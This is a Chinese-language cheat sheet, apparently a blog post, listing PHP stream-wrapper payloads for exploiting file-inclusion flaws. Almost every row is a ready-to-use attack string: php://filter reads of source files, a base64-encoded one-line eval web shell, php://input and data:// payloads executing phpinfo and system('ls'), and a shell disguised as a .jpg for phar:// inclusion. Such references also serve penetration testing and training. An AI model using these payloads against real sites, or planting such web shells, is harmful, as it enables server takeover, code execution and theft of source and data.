PHP 文件包含伪协议 | ||||
---|---|---|---|---|
协议 | php版本 | all_url_fopen | all_url_include | 用法 |
file:// | >=5.2 | off/on | off/on | ?file=file://D:/soft/www/phpcode.txt |
php://filter | >=5.2 | off/on | off/on | ?file=php://filter/read=convert.base64-encode/resource=xxx.php convert.base64-encode:将输入数据转换为Base64编码。 convert.base64-decode:将输入数据从Base64解码。 convert.quoted-printable-encode:将输入数据转换为Quoted-Printable编码。 convert.quoted-printable-decode:将输入数据从Quoted-Printable解码。 convert.iconv:使用iconv库进行字符集转换。 string.rot13:将输入数据应用ROT13编码。 string.toupper:将输入数据转换为大写字母。 string.tolower:将输入数据转换为小写字母。 file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php file=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== //传入一句话木马 <?eval($_POST[a])?> |
php://input | >=5.2 | off/on | on | ?file=php://input POST数据:<?php phpinfo()?> 特殊一点:当请求头encrypte="multipart/form-data"时,php://input是无效的。 |
zip:// phar:// | >=5.2 | off/on | off/on | ?file=zip://D:/soft/phpstudy/www/file.zip%23shell.txt ?file=phar://D:/soft/phpstudy/www/file.zip/shell.txt |
compress.bzip2:// | >=5.2 | off/on | off/on | ?file=compress.bzip2://D:/soft/phpstudy/www/file.gz 【or】?file=compress.bzip2://./file.gz |
compress.zlib:// | >=5.2 | off/on | off/on | ?file=compress.zlib://D:/soft/phpstudy/www/file.gz 【or】?file=compress.zlib://./file.gz |
data:// | >=5.2 | on | on | ?page=data://text/plain,<?php%20system("ls")?> 【or】 ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= 也可以 ?page=data:text/plain,<?php%20system("ls")?> 【or】 ?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
|
phar:// | 将一句话木马(shell.php)压缩成压缩包形式(shell.zip),将压缩包后缀改为.jpg(shell.jpg) phar://shell.jpg/shell.php |
PHP文件包含利用
于 2023-08-28 15:28:44 首次发布